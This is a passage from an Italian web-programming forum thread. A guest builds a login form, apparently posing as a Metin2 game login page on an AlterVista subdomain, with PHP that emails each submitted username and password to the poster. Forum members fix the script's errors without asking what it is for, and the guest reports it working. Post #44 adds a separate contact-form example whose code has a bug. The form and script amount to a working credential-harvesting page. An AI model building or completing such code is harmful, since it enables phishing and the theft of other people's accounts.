Pagina 2 di 2 PrimoPrimo 12
Visualizzazione risultati 31 fino 46 di 46

Discussione: linguaggio html form action

  1. #31
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,683

    Predefinito

    Codice:
    sendmailto:"mia mail";
    Le variabili in php, come avrai letto nella guida che ti ho linkato, iniziano sempre con il carattere "$".
    Inoltre, invece di ":", lì dovresti mettere il simbolo di assegnamento (spiegato nella solita guida).

    mail($mail,$oggetto,$testo)
    manca il ";".

    Ciao!
    Ultima modifica di alemoppo : 11-02-2012 alle ore 21.27.38

  2. #32
    L'avatar di radiodelmomento
    radiodelmomento non è connesso AlterGuru
    Data registrazione
    09-09-2010
    Messaggi
    1,075

    Predefinito

    Codice PHP:
    <?php
    $sendmailto
    = "mia mail"; // era: sendmailto:"mia mail";
    $oggetto = "email";

    $testo = "nome utente: ".$_POST['username']."
    Password: "
    .$_POST['password'];
    /* era:
    $testo = "nome utente: ".$_POST['username'].";
    Password: ".$_POST['password'];
    */
    mail($mail,$oggetto,$testo)
    ?>
    Quando avrai capito un po' meglio come funziona il PHP ti consiglio vivemante di fare dei controlli sui dati che prelevi, soprattutto tramite addslashes() e htmlspecialchars().
    Ciao!
    Ultima modifica di radiodelmomento : 11-02-2012 alle ore 21.04.54

  3. #33
    Guest

    Predefinito

    ho fatto tutto come mi hai detto :) però non va ancora... non mi da più errori ma nel mometo in cui schiaccio invia non mi arrivano i dati alla mail e la pagina viene ricaricata e il browser ti reindirizza alla pagina php che però si visualizza bianca...

  4. #34
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,683

    Predefinito

    Non funziona giustamente perché ci sono degli errori:

    -manca il ";" nella mail() come ho detto già più di una volta.
    -$sendmailto non è stata mai utilizzata. Come pretendi ti arrivi nella tua casella email?

    Inoltre, controlla (con un if()) la corretta riuscita della mail().

    Ciao!

  5. #35
    Guest

    Predefinito

    Codice HTML:
    <h3>Login</h3>
    <form action="http://locmetin2gilda.altervista.org/inviodati.php" method="post" name="loginFormElement">
    	<div class="form-login">
    		<label>Nome utente</label>
    		<div class="input">
    			<input type="text" value="" id="name" name="username" maxlength="30" />
    		</div>
    		<label>Password</label>
    		<div class="input">
    			<input type="password" value="" name="password" maxlength="32"/>
    		</div>
    		<div>
    			<input type="submit" class="button btn-login" value="Login" />
    			<p class="agbok"> <!-- ??? --> </p>
    		</div>
    	</div>
    </form>
    html

    e questo il php
    Codice PHP:
    <?php
    $sendmailto
    = "mia mail;";
    $oggetto = "email";
    $testo = "nome utente: ".$_POST['username']."
    Password: "
    .$_POST['password'];
    mail($mail,$oggetto,$testo)
    ?>
    non va ...
    Ultima modifica di alemoppo : 13-02-2012 alle ore 21.18.50 Motivo: +tag

  6. #36
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,683

    Predefinito

    Se continui a riscriverlo uguale, è ovvio che non funziona .
    Potrei anche scrivertelo funzionante, però non è l'intento di questo forum. Mi farebbe piacere che ci riuscissi da solo!.

    Gli errori sono quelli che ho scritto sopra.

    Ciao!

  7. #37
    Guest

    Predefinito

    :) ma ho messo il ; e il $sendmailto

  8. #38
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,683

    Predefinito

    Allora non hai capito cosa ti ho detto:

    $sendmail contiene l'indirizzo a cui inviare l'email.
    Però, alla funzione mail(), invece di $sendmail, passi $mail, che invece non esiste.
    Poi, il ";" va dopo la mail(), quindi:

    Codice PHP:
    mail($sendmail,$oggetto,$testo);
    ..E aggiungi anche un controllo (con un if), in modo di capire se l'email è stata effettivamente inviata, leggendo il valore di ritorno della mail().

    Ciao!

  9. #39
    Guest

    Predefinito

    Codice PHP:
    <?php
    $sendmailto
    = "mia mail";
    $oggetto = "email";
    $testo = "nome utente: ".$_POST['username']."
    Password: "
    .$_POST['password'];
    mail($sendmail,$oggetto,$testo);
    ?>
    così non funzione
    Ultima modifica di alemoppo : 13-02-2012 alle ore 23.13.41 Motivo: +tag

  10. #40
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,683

    Predefinito

    Ehm, scusami invece di $sendmailto ho scritto $sendmail.
    Ma hai capito cosa fa quello script?

    Ciao!

  11. #41
    Guest

    Predefinito

    funziona ;) l'ultima cosa. per far si che venga ricaricata la pagina dopo l'invio cosa devo aggiungere?

  12. #42
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,683

    Predefinito

    In generale, in php, per effettuare un redirect, occorre modificare "location" tramite la header().
    Quindi, nel caso di aggiornare la pagina, puoi fare un redirect su "se stessa": ovvero metti la sua stessa pagina.
    Nel link che ti ho dato ci sono degli esempi anche con "location".

    Solo una raccomandazione: puoi usarla soltanto se prima non hai inviato al client nessun codice html.

    Ciao!

  13. #43
    L'avatar di radiodelmomento
    radiodelmomento non è connesso AlterGuru
    Data registrazione
    09-09-2010
    Messaggi
    1,075

    Predefinito

    Forse intendeva ricaricare la pagina per aggiornare dei commenti o una lista utenti... non so.
    Se intendi questo, esegui lo script all'inizio della pagina: questa si aggiornerà all'invio del form, quindi quando prenderai dei dati dal database saranno stati già inseriti.
    Altrimenti usa location (come ti ha detto alemoppo).
    Ciao!

  14. #44
    Guest

    Predefinito

    Ecco un esempio!

    Codice PHP:
    <html>
    <head>
    <title>Contatti</title>
    <script>
    function controlla_form(){
    if((modulo.nome.value=="")||(modulo.mail.value=="")){
    alert("ERRORE! Compilare tutti i campi obbligatori!");
    return false;
    }
    else
    return true;
    }
    </script>
    <?php
    if (isset($_POST["submit"])){
    $mail="miamail@katamail.com";
    $nome=$_POST["nome"];
    $mail=$_POST["mail"];
    $oggetto="Mail dal sito! Inviata da $nome, $mail";
    $testo=$_POST["testo"];
    if(
    mail($mail, $oggetto, $testo))
    print(
    "<script>alert('Mail inviata correttamente!')</script>");
    else
    print(
    "<script>alert('Errore, mail non inviata!')</script>");
    }
    ?>
    </head>
    <body bgcolor="#2a3680">
    <img src="Immagini/contattigiallo.png">
    <p align="center">
    <br>
    <font color="#f1ef4f">
    <b>Indirizzo</b><br>
    Via xxx 65 17100 Savona<br>
    <b>Telefono</b><br>
    Diego - 347 0000000<br>
    <b>E-Mail</b><br>
    [email]mail@libero.it[/email]<br><br>
    <a href="http://www.facebook.com/profile.php?id=100003202076530" target="_blank" style="color:#f1ef4f">Aggiungici su <b>FACEBOOK</b>!</a><br><br><br>
    <table border="0">
    <form name="modulo" action="contatti.php" method="post" onsubmit="return controlla_form()">
    <b>Nome*</b><br>
    <input type="text" name="nome"><br>
    <b>E-Mail (per risposta)*</b><br>
    <input type="text" name="mail"><br>
    <b>Testo</b><br>
    <textarea name="testo" rows="5" cols="20"></textarea><br>
    * campi obbligatori!<br>
    <input type="submit" name="submit" value="INVIA">
    </form>
    </table>
    </font>
    </p>
    </body>
    </html>

  15. #45
    L'avatar di radiodelmomento
    radiodelmomento non è connesso AlterGuru
    Data registrazione
    09-09-2010
    Messaggi
    1,075

    Predefinito

    @usletimbro
    Citazione Originalmente inviato da alemoppo Visualizza messaggio
    Potrei anche scrivertelo funzionante, però non è l'intento di questo forum. Mi farebbe piacere che ci riuscissi da solo!.
    Prendere uno script dal web è troppo semplice...
    Ciao!

  16. #46
    Guest

    Predefinito

    ragazzi, grazie a tutti:) funziona perfettamente:)

Pagina 2 di 2 PrimoPrimo 12

Regole di scrittura

  • Non puoi creare nuove discussioni
  • Non puoi rispondere ai messaggi
  • Non puoi inserire allegati.
  • Non puoi modificare i tuoi messaggi
  •